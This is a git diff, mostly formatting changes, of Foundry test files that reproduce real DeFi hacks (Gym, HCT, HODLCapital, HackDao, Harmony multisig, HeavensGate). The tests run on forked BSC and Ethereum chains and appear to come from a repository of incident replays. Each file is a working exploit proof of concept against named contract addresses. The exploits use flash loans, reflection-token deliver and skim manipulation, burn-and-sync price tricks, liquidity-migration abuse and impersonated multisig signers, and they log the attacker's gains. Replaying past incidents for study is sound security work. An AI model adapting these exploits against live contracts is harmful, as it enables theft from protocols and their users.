wbnbGymnetPair.balanceOf(address(this)), - 0, - 0, - address(this), - type(uint32).max - ); - wbnb.deposit{ value: address(this).balance }(); - path[0] = address(gym); - path[1] = address(wbnb); - pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - gym.balanceOf(address(this)), - 0, - path, - address(this), - type(uint32).max - ); - path[0] = address(gymnet); - pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - gymnet.balanceOf(address(this)), - 0, - path, - address(this), - type(uint32).max - ); - wbnb.transfer(msg.sender, ((amount0 / 9975) * 10000) + 10000); - wbnb.transfer(tx.origin, wbnb.balanceOf(address(this))); - } + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { + address[] memory path = new address[](2); + path[0] = address(wbnb); + path[1] = address(gym); + pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( + 600e18, 0, path, address(this), type(uint32).max + ); + pancakeRouter.addLiquidity( + address(wbnb), + address(gym), + wbnb.balanceOf(address(this)), + gymnet.balanceOf(address(liquidityMigrationV2)), + 0, + 0, + address(this), + type(uint32).max + ); + liquidityMigrationV2.migrate(wbnbGymPair.balanceOf(address(this))); + pancakeRouter.removeLiquidityETHSupportingFeeOnTransferTokens( + address(gymnet), wbnbGymnetPair.balanceOf(address(this)), 0, 0, address(this), type(uint32).max + ); + wbnb.deposit{value: address(this).balance}(); + path[0] = address(gym); + path[1] = address(wbnb); + pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( + gym.balanceOf(address(this)), 0, path, address(this), type(uint32).max + ); + path[0] = address(gymnet); + pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( + gymnet.balanceOf(address(this)), 0, path, address(this), type(uint32).max + ); + wbnb.transfer(msg.sender, ((amount0 / 9975) * 10_000) + 10_000); + wbnb.transfer(tx.origin, wbnb.balanceOf(address(this))); + } - receive() external payable {} + receive() external payable {} } diff --git a/src/test/Gym_2_exp.sol b/src/test/Gym_2_exp.sol index 3102bc59..2ac0ef56 100644 --- a/src/test/Gym_2_exp.sol +++ b/src/test/Gym_2_exp.sol @@ -5,32 +5,19 @@ import "forge-std/Test.sol"; import "./interface.sol"; contract ContractTest is DSTest { - CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - IPancakeRouter pancakeRouter = - IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968)); - GymToken gymnet = GymToken(0x3a0d9d7764FAE860A659eb96A500F1323b411e68); - GymSinglePool gympool = - GymSinglePool(0xA8987285E100A8b557F06A7889F79E0064b359f2); + CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968)); + GymToken gymnet = GymToken(0x3a0d9d7764FAE860A659eb96A500F1323b411e68); + GymSinglePool gympool = GymSinglePool(0xA8987285E100A8b557F06A7889F79E0064b359f2); - function setUp() public { - cheat.createSelectFork( - "bsc", - 18501049 - ); //fork bsc at block 18501049 - } + function setUp() public { + cheat.createSelectFork("bsc", 18_501_049); //fork bsc at block 18501049 + } - function testExploit() public { - gympool.depositFromOtherContract( - 8000000000000000000000666, - 0, - true, - address(this) - ); - cheat.warp(1654683789); - gympool.withdraw(0); - emit log_named_uint( - "Exploit completed, GYMNET balance of attacker:", - gymnet.balanceOf(address(this)) - ); - } + function testExploit() public { + gympool.depositFromOtherContract(8_000_000_000_000_000_000_000_666, 0, true, address(this)); + cheat.warp(1_654_683_789); + gympool.withdraw(0); + emit log_named_uint("Exploit completed, GYMNET balance of attacker:", gymnet.balanceOf(address(this))); + } } diff --git a/src/test/HCT_exp.sol b/src/test/HCT_exp.sol index a38c828a..51996aa5 100644 --- a/src/test/HCT_exp.sol +++ b/src/test/HCT_exp.sol @@ -14,8 +14,7 @@ import "./interface.sol"; // Twitter Guy : https://twitter.com/leovctech/status/1699775506785198499 // Hacking God : https://www.google.com/ - -interface ICoinToken{ +interface ICoinToken { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); @@ -33,17 +32,16 @@ interface ICoinToken{ event Approval(address indexed owner, address indexed spender, uint256 value); } - contract ContractTest is Test { IPancakePair PancakePair = IPancakePair(0xdbE783014Cb0662c629439FBBBa47e84f1B6F2eD); IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); ICoinToken HCT = ICoinToken(0x0FDfcfc398Ccc90124a0a41d920d6e2d0bD8CcF5); IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c)); IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); - uint baseAMount = 2_200_000_000_000_000_000_000; + uint256 baseAMount = 2_200_000_000_000_000_000_000; function setUp() public { - vm.createSelectFork("bsc", 31528198 - 1); + vm.createSelectFork("bsc", 31_528_198 - 1); vm.label(address(PancakePair), "PancakePair"); vm.label(address(router), "PancakeRouter"); vm.label(address(WBNB), "WBNB"); @@ -52,18 +50,18 @@ contract ContractTest is Test { approveAll(); } - function testExploit() external{ - uint startBNB = WBNB.balanceOf(address(this)); + function testExploit() external { + uint256 startBNB = WBNB.balanceOf(address(this)); console.log("Before Start: %d BNB", startBNB); DPPOracle.flashLoan(baseAMount, 0, address(this), abi.encode(baseAMount)); - uint intRes = WBNB.balanceOf(address(this))/1 ether; - uint decRes = WBNB.balanceOf(address(this)) - intRes * 1e18; + uint256 intRes = WBNB.balanceOf(address(this)) / 1 ether; + uint256 decRes = WBNB.balanceOf(address(this)) - intRes * 1e18; console.log("Attack Exploit: %s.%s BNB", intRes, decRes); } - function DPPFlashLoanCall(address sender, uint amount, uint quoteAmount, bytes calldata data) external { + function DPPFlashLoanCall(address sender, uint256 amount, uint256 quoteAmount, bytes calldata data) external { swapWBNBtoHCT(); burn(); PancakePair.sync(); @@ -72,29 +70,33 @@ contract ContractTest is Test { } function swapWBNBtoHCT() internal { - uint amountIn = baseAMount; + uint256 amountIn = baseAMount; address[] memory path = new address[](2); (path[0], path[1]) = (address(WBNB), address(HCT)); - router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 1, path, address(this), type(uint256).max); + router.swapExactTokensForTokensSupportingFeeOnTransferTokens( + amountIn, 1, path, address(this), type(uint256).max + ); } function burn() internal { - while(true){ - if(HCT.balanceOf(address(this)) <= 70){ + while (true) { + if (HCT.balanceOf(address(this)) <= 70) { break; } - HCT.burn(HCT.balanceOf(address(this))*8/10 - 1); + HCT.burn(HCT.balanceOf(address(this)) * 8 / 10 - 1); } } function swapHCTtoWBNB() internal { address[] memory path = new address[](2); (path[0], path[1]) = (address(HCT), address(WBNB)); - router.swapExactTokensForTokensSupportingFeeOnTransferTokens(HCT.balanceOf(address(this)), 10, path, address(this), type(uint256).max); + router.swapExactTokensForTokensSupportingFeeOnTransferTokens( + HCT.balanceOf(address(this)), 10, path, address(this), type(uint256).max + ); } function approveAll() internal { WBNB.approve(address(router), baseAMount); HCT.approve(address(router), baseAMount); } -} \ No newline at end of file +} diff --git a/src/test/HODLCapital_exp.sol b/src/test/HODLCapital_exp.sol index 6bb467c0..a0063936 100644 --- a/src/test/HODLCapital_exp.sol +++ b/src/test/HODLCapital_exp.sol @@ -1,225 +1,236 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.10; - -import "forge-std/Test.sol"; -import "./interface.sol"; - -// @KeyInfo -- Total Lost : ~2.3 ETH -// Attacker : https://etherscan.io/address/0x4e998316ec31d2f3078f8f57b952bfae54728be1 -// Attack Contract : https://etherscan.io/address/0x6943e74d1109a728f25a2e634ba3d74e9e476aed -// Attacker Transaction : https://etherscan.io/tx/0xedc214a62ff6fd764200ddaa8ceae54f842279eadab80900be5f29d0b75212df - -// @Analysis -// https://explorer.phalcon.xyz/tx/eth/0xedc214a62ff6fd764200ddaa8ceae54f842279eadab80900be5f29d0b75212df - -interface IHODL is IERC20 { - function deliver(uint256 amount) external; - function isExcluded(address account) external returns (bool); - function isExcludedFromFee(address account) external returns(bool); - function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external returns(uint256); - function tokenFromReflection(uint256 rAmount) external returns(uint256); -} - -contract HODLCapitalExploit is Test { - CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - - IAaveFlashloan aavePool = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2); - IUniswapV2Pair hodl_weth = IUniswapV2Pair(0x28E6cAB57d87E6F85ff650Fb0a7be9BE5e1897d4); - IHODL hodl = IHODL(0xEdA47E13fD1192E32226753dC2261C4A14908fb7); - IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); - IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); - - uint256 amount1000 = 1000 ether; - address excludedFromFeeAddress = 0xC9D76A540AC88182119E1AAd80136FC61Cf55fBD; - uint256 rOwned; - uint256 slot8; - uint256 rTotal; - uint256 times; - - function setUp() public { - cheats.createSelectFork("mainnet"); - - cheats.label(address(aavePool), "AavePoolV3"); - cheats.label(address(hodl_weth), "HODL-WETH UniswapPair"); - cheats.label(address(hodl), "HODL"); - cheats.label(address(weth), "WETH"); - cheats.label(address(router), "UniswapV2Router"); - } - - function testExploit() public { - cheats.rollFork(17220892); - emit log_named_decimal_uint("Attacker ETH balance before exploit", weth.balanceOf(address(this)), 18); - // console.log("excludedFromFee:", hodl.isExcludedFromFee(excludedFromFeeAddress)); - // console.log("excluded:", hodl.isExcluded(excludedFromFeeAddress)); - - weth.approve(address(aavePool), type(uint).max); - aavePool.flashLoanSimple(address(this), address(weth), 140 ether, new bytes(1), 0); - emit log_named_decimal_uint("Attacker ETH balance after exploit", weth.balanceOf(address(this)), 18); - - } - - function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { - require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); - require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); - uint numerator = reserveIn * amountOut * 1000; - uint denominator = (reserveOut-amountOut) * 997; - amountIn = (numerator / denominator) + 1; - } - - function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { - require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); - require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); - uint amountInWithFee = amountIn * 997; - uint numerator = amountInWithFee * reserveOut; - uint denominator = (reserveIn *1000) + amountInWithFee; - amountOut = numerator / denominator; - } - - function executeOperation( - address /*asset*/, - uint256 /*amount*/, - uint256 /*premium*/, - address /*initator*/, - bytes calldata /*params*/ - ) external payable returns (bool) { - times = 2; - (uint256 reserve0, uint256 reserve1, ) = hodl_weth.getReserves(); - emit log_named_uint("Reserve0", reserve0); - emit log_named_uint("Reserve1", reserve1); - // uint256 amountIn = getAmountIn(amount1000 / 100000 * 10001, 13387083970661484684, 999631170221975669182); - uint256 amountIn = getAmountIn(amount1000 / 100000 * 10001, reserve0, reserve1); - weth.transfer(address(hodl_weth), amountIn); - hodl_weth.swap(0, amount1000 / 100000 * 10001, address(this), new bytes(0)); - hodl.transfer(excludedFromFeeAddress, 1); - rTotal = hodl.reflectionFromToken(amount1000, false); - uint256 attackerBalance = hodl.balanceOf(address(this)); - uint256 attackerROwned = hodl.reflectionFromToken(attackerBalance, false); - rOwned = attackerROwned; - func1c44(10, 1031); - - attackerBalance = hodl.balanceOf(address(this)); - attackerROwned = hodl.reflectionFromToken(attackerBalance, false); - rOwned = attackerROwned; - func1c44(10, 1032); - - attackerBalance = hodl.balanceOf(address(this)); - attackerROwned = hodl.reflectionFromToken(attackerBalance, false); - rOwned = attackerROwned; - func1c44(10, 1032); - - attackerBalance = hodl.balanceOf(address(this)); - attackerROwned = hodl.reflectionFromToken(attackerBalance, false); - rOwned = attackerROwned; - func1c44(10, 1033); - - attackerBalance = hodl.balanceOf(address(this)); - attackerROwned = hodl.reflectionFromToken(attackerBalance, false); - rOwned = attackerROwned; - func1c44(10, 1076); - - func1c44(10, 1053); - func1c44(5, 1024); - func1eae(10000); - - rTotal = hodl.reflectionFromToken(amount1000, false); - func1c44(10, 1098); - func1c44(10, 1084); - func1c44(10, 1069); - func1c44(10, 1052); - func1c44(10, 1032); - func1eae(5000); - - rTotal = hodl.reflectionFromToken(amount1000, false); - func1c44(10, 1052); - func1c44(10, 1040); - func1c44(10, 1026); - func1c44(3, 1010); - func1eae(200); - - rTotal = hodl.reflectionFromToken(amount1000, false); - func1c44(2, 1007); - - (reserve0, reserve1, ) = hodl_weth.getReserves(); - amountIn = getAmountIn(reserve1 * 9000 / 10000 ,reserve0, reserve1); - weth.transfer(address(hodl_weth), amountIn); - hodl_weth.swap(0, reserve1 * 9000 / 10000, excludedFromFeeAddress, new bytes(0)); - - for (uint i = 0; i < 15; i ++) { - func2574(900); - } - - hodl.approve(address(this), type(uint).max); - hodl.transferFrom(address(this), excludedFromFeeAddress, 1); - for (uint i = 0; i < 15; i ++) { - func2574(900); - } - - hodl.transferFrom(address(this), excludedFromFeeAddress, 1); - for (uint i = 0; i < 15; i ++) { - func2574(900); - } - - hodl.transferFrom(address(this), excludedFromFeeAddress, 1); - for (uint i = 0; i < 8; i ++) { - func2574(900); - } - - func2574(700); - func2574(80); - func26cd(900); - func26cd(100); - func26cd(42); - - uint256 pairBalance = hodl.balanceOf(address(hodl_weth)); - (reserve0, reserve1, ) = hodl_weth.getReserves(); - uint256 amountOut = getAmountOut(pairBalance-reserve1, reserve1, reserve0); - hodl_weth.swap(amountOut, 0, address(this), new bytes(0)); - return true; - } - - function func1c44(uint256 v0, uint256 v1) internal { - slot8 = v1; - uint256 v3 = hodl.tokenFromReflection(rTotal/100*v0); - hodl_weth.swap(0, v3, address(this), new bytes(1)); - hodl.transfer(excludedFromFeeAddress, 1); - } - - function func1eae(uint256 v0) internal { - (uint256 reserve0, uint256 reserve1, ) = hodl_weth.getReserves(); - uint256 amountIn = getAmountIn(amount1000/100000*v0, reserve0, reserve1); - weth.transfer(address(hodl_weth), amountIn); - hodl_weth.swap(0, amount1000/100000*v0, address(this), new bytes(0)); - hodl.transfer(excludedFromFeeAddress, 1); - } - - function func2574(uint256 v0) internal { - hodl.deliver(amount1000*v0/1000); - hodl_weth.skim(excludedFromFeeAddress); - } - - function func26cd(uint256 v0) internal { - hodl.deliver(amount1000*v0/1000); - } - - function uniswapV2Call(address /*sender*/, uint /*amount0*/, uint /*amount1*/, bytes calldata /*data*/) external { - if (times > 5) { - if (times <= 25) { - uint256 pairBalance = hodl.balanceOf(address(hodl_weth)); - (, uint256 reserve1, ) = hodl_weth.getReserves(); - hodl.deliver((reserve1-pairBalance)*slot8/1000); - times += 1; - } - } else { - uint256 attackerBalance = hodl.balanceOf(address(this)); - uint256 v14 = hodl.reflectionFromToken(attackerBalance, false); - uint256 v17 = hodl.tokenFromReflection(v14-rOwned); - hodl.deliver(v17); - uint256 pairBalance = hodl.balanceOf(address(hodl_weth)); - (uint256 reserve0, uint256 reserve1, ) = hodl_weth.getReserves(); - uint256 amountIn = getAmountIn(reserve1 - pairBalance, reserve0, reserve1); - weth.transfer(address(hodl_weth), amountIn * slot8 / 1000); - times += 1; - } - } - -} \ No newline at end of file +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// @KeyInfo -- Total Lost : ~2.3 ETH +// Attacker : https://etherscan.io/address/0x4e998316ec31d2f3078f8f57b952bfae54728be1 +// Attack Contract : https://etherscan.io/address/0x6943e74d1109a728f25a2e634ba3d74e9e476aed +// Attacker Transaction : https://etherscan.io/tx/0xedc214a62ff6fd764200ddaa8ceae54f842279eadab80900be5f29d0b75212df + +// @Analysis +// https://explorer.phalcon.xyz/tx/eth/0xedc214a62ff6fd764200ddaa8ceae54f842279eadab80900be5f29d0b75212df + +interface IHODL is IERC20 { + function deliver(uint256 amount) external; + function isExcluded(address account) external returns (bool); + function isExcludedFromFee(address account) external returns (bool); + function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external returns (uint256); + function tokenFromReflection(uint256 rAmount) external returns (uint256); +} + +contract HODLCapitalExploit is Test { + CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + + IAaveFlashloan aavePool = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2); + IUniswapV2Pair hodl_weth = IUniswapV2Pair(0x28E6cAB57d87E6F85ff650Fb0a7be9BE5e1897d4); + IHODL hodl = IHODL(0xEdA47E13fD1192E32226753dC2261C4A14908fb7); + IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); + + uint256 amount1000 = 1000 ether; + address excludedFromFeeAddress = 0xC9D76A540AC88182119E1AAd80136FC61Cf55fBD; + uint256 rOwned; + uint256 slot8; + uint256 rTotal; + uint256 times; + + function setUp() public { + cheats.createSelectFork("mainnet"); + + cheats.label(address(aavePool), "AavePoolV3"); + cheats.label(address(hodl_weth), "HODL-WETH UniswapPair"); + cheats.label(address(hodl), "HODL"); + cheats.label(address(weth), "WETH"); + cheats.label(address(router), "UniswapV2Router"); + } + + function testExploit() public { + cheats.rollFork(17_220_892); + emit log_named_decimal_uint("Attacker ETH balance before exploit", weth.balanceOf(address(this)), 18); + // console.log("excludedFromFee:", hodl.isExcludedFromFee(excludedFromFeeAddress)); + // console.log("excluded:", hodl.isExcluded(excludedFromFeeAddress)); + + weth.approve(address(aavePool), type(uint256).max); + aavePool.flashLoanSimple(address(this), address(weth), 140 ether, new bytes(1), 0); + emit log_named_decimal_uint("Attacker ETH balance after exploit", weth.balanceOf(address(this)), 18); + } + + function getAmountIn( + uint256 amountOut, + uint256 reserveIn, + uint256 reserveOut + ) internal pure returns (uint256 amountIn) { + require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT"); + require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); + uint256 numerator = reserveIn * amountOut * 1000; + uint256 denominator = (reserveOut - amountOut) * 997; + amountIn = (numerator / denominator) + 1; + } + + function getAmountOut( + uint256 amountIn, + uint256 reserveIn, + uint256 reserveOut + ) internal pure returns (uint256 amountOut) { + require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); + require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); + uint256 amountInWithFee = amountIn * 997; + uint256 numerator = amountInWithFee * reserveOut; + uint256 denominator = (reserveIn * 1000) + amountInWithFee; + amountOut = numerator / denominator; + } + + function executeOperation( + address, /*asset*/ + uint256, /*amount*/ + uint256, /*premium*/ + address, /*initator*/ + bytes calldata /*params*/ + ) external payable returns (bool) { + times = 2; + (uint256 reserve0, uint256 reserve1,) = hodl_weth.getReserves(); + emit log_named_uint("Reserve0", reserve0); + emit log_named_uint("Reserve1", reserve1); + // uint256 amountIn = getAmountIn(amount1000 / 100000 * 10001, 13387083970661484684, 999631170221975669182); + uint256 amountIn = getAmountIn(amount1000 / 100_000 * 10_001, reserve0, reserve1); + weth.transfer(address(hodl_weth), amountIn); + hodl_weth.swap(0, amount1000 / 100_000 * 10_001, address(this), new bytes(0)); + hodl.transfer(excludedFromFeeAddress, 1); + rTotal = hodl.reflectionFromToken(amount1000, false); + uint256 attackerBalance = hodl.balanceOf(address(this)); + uint256 attackerROwned = hodl.reflectionFromToken(attackerBalance, false); + rOwned = attackerROwned; + func1c44(10, 1031); + + attackerBalance = hodl.balanceOf(address(this)); + attackerROwned = hodl.reflectionFromToken(attackerBalance, false); + rOwned = attackerROwned; + func1c44(10, 1032); + + attackerBalance = hodl.balanceOf(address(this)); + attackerROwned = hodl.reflectionFromToken(attackerBalance, false); + rOwned = attackerROwned; + func1c44(10, 1032); + + attackerBalance = hodl.balanceOf(address(this)); + attackerROwned = hodl.reflectionFromToken(attackerBalance, false); + rOwned = attackerROwned; + func1c44(10, 1033); + + attackerBalance = hodl.balanceOf(address(this)); + attackerROwned = hodl.reflectionFromToken(attackerBalance, false); + rOwned = attackerROwned; + func1c44(10, 1076); + + func1c44(10, 1053); + func1c44(5, 1024); + func1eae(10_000); + + rTotal = hodl.reflectionFromToken(amount1000, false); + func1c44(10, 1098); + func1c44(10, 1084); + func1c44(10, 1069); + func1c44(10, 1052); + func1c44(10, 1032); + func1eae(5000); + + rTotal = hodl.reflectionFromToken(amount1000, false); + func1c44(10, 1052); + func1c44(10, 1040); + func1c44(10, 1026); + func1c44(3, 1010); + func1eae(200); + + rTotal = hodl.reflectionFromToken(amount1000, false); + func1c44(2, 1007); + + (reserve0, reserve1,) = hodl_weth.getReserves(); + amountIn = getAmountIn(reserve1 * 9000 / 10_000, reserve0, reserve1); + weth.transfer(address(hodl_weth), amountIn); + hodl_weth.swap(0, reserve1 * 9000 / 10_000, excludedFromFeeAddress, new bytes(0)); + + for (uint256 i = 0; i < 15; i++) { + func2574(900); + } + + hodl.approve(address(this), type(uint256).max); + hodl.transferFrom(address(this), excludedFromFeeAddress, 1); + for (uint256 i = 0; i < 15; i++) { + func2574(900); + } + + hodl.transferFrom(address(this), excludedFromFeeAddress, 1); + for (uint256 i = 0; i < 15; i++) { + func2574(900); + } + + hodl.transferFrom(address(this), excludedFromFeeAddress, 1); + for (uint256 i = 0; i < 8; i++) { + func2574(900); + } + + func2574(700); + func2574(80); + func26cd(900); + func26cd(100); + func26cd(42); + + uint256 pairBalance = hodl.balanceOf(address(hodl_weth)); + (reserve0, reserve1,) = hodl_weth.getReserves(); + uint256 amountOut = getAmountOut(pairBalance - reserve1, reserve1, reserve0); + hodl_weth.swap(amountOut, 0, address(this), new bytes(0)); + return true; + } + + function func1c44(uint256 v0, uint256 v1) internal { + slot8 = v1; + uint256 v3 = hodl.tokenFromReflection(rTotal / 100 * v0); + hodl_weth.swap(0, v3, address(this), new bytes(1)); + hodl.transfer(excludedFromFeeAddress, 1); + } + + function func1eae(uint256 v0) internal { + (uint256 reserve0, uint256 reserve1,) = hodl_weth.getReserves(); + uint256 amountIn = getAmountIn(amount1000 / 100_000 * v0, reserve0, reserve1); + weth.transfer(address(hodl_weth), amountIn); + hodl_weth.swap(0, amount1000 / 100_000 * v0, address(this), new bytes(0)); + hodl.transfer(excludedFromFeeAddress, 1); + } + + function func2574(uint256 v0) internal { + hodl.deliver(amount1000 * v0 / 1000); + hodl_weth.skim(excludedFromFeeAddress); + } + + function func26cd(uint256 v0) internal { + hodl.deliver(amount1000 * v0 / 1000); + } + + function uniswapV2Call( + address, /*sender*/ + uint256, /*amount0*/ + uint256, /*amount1*/ + bytes calldata /*data*/ + ) external { + if (times > 5) { + if (times <= 25) { + uint256 pairBalance = hodl.balanceOf(address(hodl_weth)); + (, uint256 reserve1,) = hodl_weth.getReserves(); + hodl.deliver((reserve1 - pairBalance) * slot8 / 1000); + times += 1; + } + } else { + uint256 attackerBalance = hodl.balanceOf(address(this)); + uint256 v14 = hodl.reflectionFromToken(attackerBalance, false); + uint256 v17 = hodl.tokenFromReflection(v14 - rOwned); + hodl.deliver(v17); + uint256 pairBalance = hodl.balanceOf(address(hodl_weth)); + (uint256 reserve0, uint256 reserve1,) = hodl_weth.getReserves(); + uint256 amountIn = getAmountIn(reserve1 - pairBalance, reserve0, reserve1); + weth.transfer(address(hodl_weth), amountIn * slot8 / 1000); + times += 1; + } + } +} diff --git a/src/test/HackDao_exp.sol b/src/test/HackDao_exp.sol index 7469c091..416cc68b 100644 --- a/src/test/HackDao_exp.sol +++ b/src/test/HackDao_exp.sol @@ -9,7 +9,7 @@ import "./interface.sol"; // @Contract address // https://bscscan.com/address/0x94e06c77b02ade8341489ab9a23451f68c13ec1c#code -contract ContractTest is DSTest{ +contract ContractTest is DSTest { IERC20 HackDao = IERC20(0x94e06c77b02Ade8341489Ab9A23451F68c13eC1C); IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); Uni_Pair_V2 Pair1 = Uni_Pair_V2(0xcd4CDAa8e96ad88D82EABDdAe6b9857c010f4Ef2); // HackDao WBNB @@ -20,23 +20,18 @@ contract ContractTest is DSTest{ CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 18073756); + cheats.createSelectFork("bsc", 18_073_756); } - function testExploit() public{ - WBNB.approve(address(Router), type(uint).max); - HackDao.approve(address(Router), type(uint).max); - DVM(dodo).flashLoan(1_900 * 1e18, 0, address(this), new bytes(1)); - - emit log_named_decimal_uint( - "[End] Attacker WBNB balance after exploit", - WBNB.balanceOf(address(this)), - 18 - ); + function testExploit() public { + WBNB.approve(address(Router), type(uint256).max); + HackDao.approve(address(Router), type(uint256).max); + DVM(dodo).flashLoan(1900 * 1e18, 0, address(this), new bytes(1)); + emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18); } - function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public{ + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public { // get HackDao buyHackDao(); // call skim() to burn HackDao in lp @@ -45,25 +40,20 @@ contract ContractTest is DSTest{ Pair1.sync(); Pair2.skim(address(Pair1)); // sell HackDao - (uint reserve0, uint reserve1, ) = Pair1.getReserves(); // HackDao WBNB - uint amountAfter = HackDao.balanceOf(address(Pair1)); - uint amountin = amountAfter - reserve0; - uint amountout = amountin * 9975 * reserve1 / (reserve0 * 10000 + amountin * 9975); + (uint256 reserve0, uint256 reserve1,) = Pair1.getReserves(); // HackDao WBNB + uint256 amountAfter = HackDao.balanceOf(address(Pair1)); + uint256 amountin = amountAfter - reserve0; + uint256 amountout = amountin * 9975 * reserve1 / (reserve0 * 10_000 + amountin * 9975); Pair1.swap(0, amountout, address(this), ""); - WBNB.transfer(dodo, 1_900 * 1e18); + WBNB.transfer(dodo, 1900 * 1e18); } - function buyHackDao() internal{ - address [] memory path = new address[](2); + function buyHackDao() internal { + address[] memory path = new address[](2); path[0] = address(WBNB); path[1] = address(HackDao); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - WBNB.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp ); } - -} \ No newline at end of file +} diff --git a/src/test/Harmony_multisig.sol b/src/test/Harmony_multisig.sol index e8c40a5c..a9fdb95c 100644 --- a/src/test/Harmony_multisig.sol +++ b/src/test/Harmony_multisig.sol @@ -39,12 +39,12 @@ contract ContractTest is DSTest { emit log_named_address( "2 of 5 multisig wallet, transaction first signed by:", MultiSigWallet.getConfirmations(txId)[0] - ); + ); cheat.prank(0x812d8622C6F3c45959439e7ede3C580dA06f8f25); MultiSigWallet.confirmTransaction(txId); // Transfer 9,981,000 USDT to address(this) emit log_named_address( "2 of 5 multisig wallet, transaction second signed by:", MultiSigWallet.getConfirmations(txId)[1] - ); + ); emit log_named_uint("USDT balance of attacker after Exploit", usdt.balanceOf(address(this))); } diff --git a/src/test/HeavensGate_exp.sol b/src/test/HeavensGate_exp.sol index ca6f83fc..9473fc73 100644 --- a/src/test/HeavensGate_exp.sol +++ b/src/test/HeavensGate_exp.sol @@ -16,23 +16,20 @@ import "./interface.sol"; // Twitter Guy : https://twitter.com/hexagate_/status/1699003711937216905 // Hacking God : https://www.google.com/ - -interface Staking{ +interface Staking { function stake(address _to, uint256 _amount) external; function unstake(address _to, uint256 _amount, bool _rebase) external; - function rebase() external ; + function rebase() external; } interface IsHATE is IERC20 { - function rebase(uint256 amount_, uint epoch_) external returns (uint256); + function rebase(uint256 amount_, uint256 epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); - } - contract ContractTest is Test { IERC20 HATE = IERC20(0x7b768470590B8A0d28fC714d0A70754d556D14eD); IWETH WETH = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2))); @@ -40,7 +37,7 @@ contract ContractTest is Test { Uni_Router_V2 uniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); Staking HATEStaking = Staking(0x8EBd6c7D2B79CA4Dc5FBdEc239a8Bb0F214212b8); IsHATE sHATE = IsHATE(0xf829d7014Db17D6DCe448bE958c7e4983cdb1F77); - uint flashAmount; + uint256 flashAmount; function setUp() public { vm.createSelectFork("mainnet"); @@ -51,42 +48,46 @@ contract ContractTest is Test { vm.label(address(sHATE), "sHATE"); } - function testExploit1() external{ - vm.rollFork(18069528 - 1); + function testExploit1() external { + vm.rollFork(18_069_528 - 1); approveAll(); console.log("Before Start: %d ETH", WETH.balanceOf(address(this))); - flashAmount = HATE.balanceOf(address(HATE_ETH_Pair))*9/10; + flashAmount = HATE.balanceOf(address(HATE_ETH_Pair)) * 9 / 10; HATE_ETH_Pair.swap(flashAmount, 0, address(this), hex"03"); - + address[] memory path = new address[](2); (path[0], path[1]) = (address(HATE), address(WETH)); - uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp); - emit log_named_decimal_uint("WETH balance after swap", WETH.balanceOf(address(this)), 